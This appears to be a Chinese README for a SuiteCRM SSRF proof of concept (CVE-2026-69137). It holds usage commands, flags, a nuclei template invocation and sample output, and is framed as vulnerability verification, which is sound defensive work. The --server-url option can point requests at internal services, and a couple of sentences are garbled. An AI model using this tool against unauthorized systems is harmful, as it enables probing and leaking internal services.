针对 SuiteCRM 的已认证服务端请求伪造概念验证,通过 CalendarAccount/testConnection 端点及 caldav_basic 提供程序实现。
受影响的 SuiteCRM 版本会接受已认证用户提供的 server_url,并将其传递给 cURL 而不验证目标地址。这使得攻击者能够向回环地址或内部 HTTP 服务发起服务端请求。在存在漏洞的版本中,连接失败的响应还可能在错误消息中泄露所获取服务的响应数据。
该 PoC 使用有效的 SuiteCRM 账户进行认证,并请求一个受控 URL。其默认目标 http://127.0.0.1:1/ 是一个关闭的回环端口:它证明 SuiteCRM 尝试了服务端连接,而无需请求外部服务。
--server-url 提供的任何目标的授权无需第三方 Python 包。
针对 SuiteCRM 的基本本地验证:
python3 CVE-2026-69137.py \
-u http://127.0.0.1:8081 \
-U admin \
-P 'password'
使用现有的已认证会话:
python3 CVE-2026-69137.py \
-u https://suitecrm.example \
--cookie 'PHPSESSID=value'
测试已授权的内部或受控目标:
python3 CVE-2026-69137.py \
-u https://suitecrm.example \
-U user \
-P 'password' \
--server-url http://127.0.0.1:8080/
-u, --url SuiteCRM 基础 URL
-U, --username SuiteCRM 用户名
-P, --password SuiteCRM 密码
--cookie 已认证的 SuiteCRM Cookie 头值
--server-url SuiteCRM 获取的 URL;默认:http://127.0.0.1:1/
--timeout HTTP 超时(秒);默认:35
-k, --insecure 禁用 TLS 证书验证
存在漏洞的版本在处理所提供的 URL 后返回连接测试失败:
[*] Authenticating with SuiteCRM legacy login...
[*] Sending testConnection request with server_url=http://127.0.0.1:1/
[!] Vulnerable behavior confirmed: SuiteCRM processed the supplied server_url.
Server message: Connection test failed. Network error: Failed to connect to 127.0.0.1 port 1 ...
已修补的版本会在尝试连接之前拒绝不允许的目标:
[+] Target rejected the supplied URL; the SSRF fix appears to be present.
CVE-2026-69137.yaml 使用 username 和 password 进行认证,复用 SuiteCRM 会话,并执行相同的关闭回环探测:
nuclei -u https://suitecrm.example \
-t CVE-2026-69137.yaml \
-var username=user \
-var password='password'
该模板已通过以下命令验证:
nuclei -validate -t CVE-2026-69137.yaml
--server-url。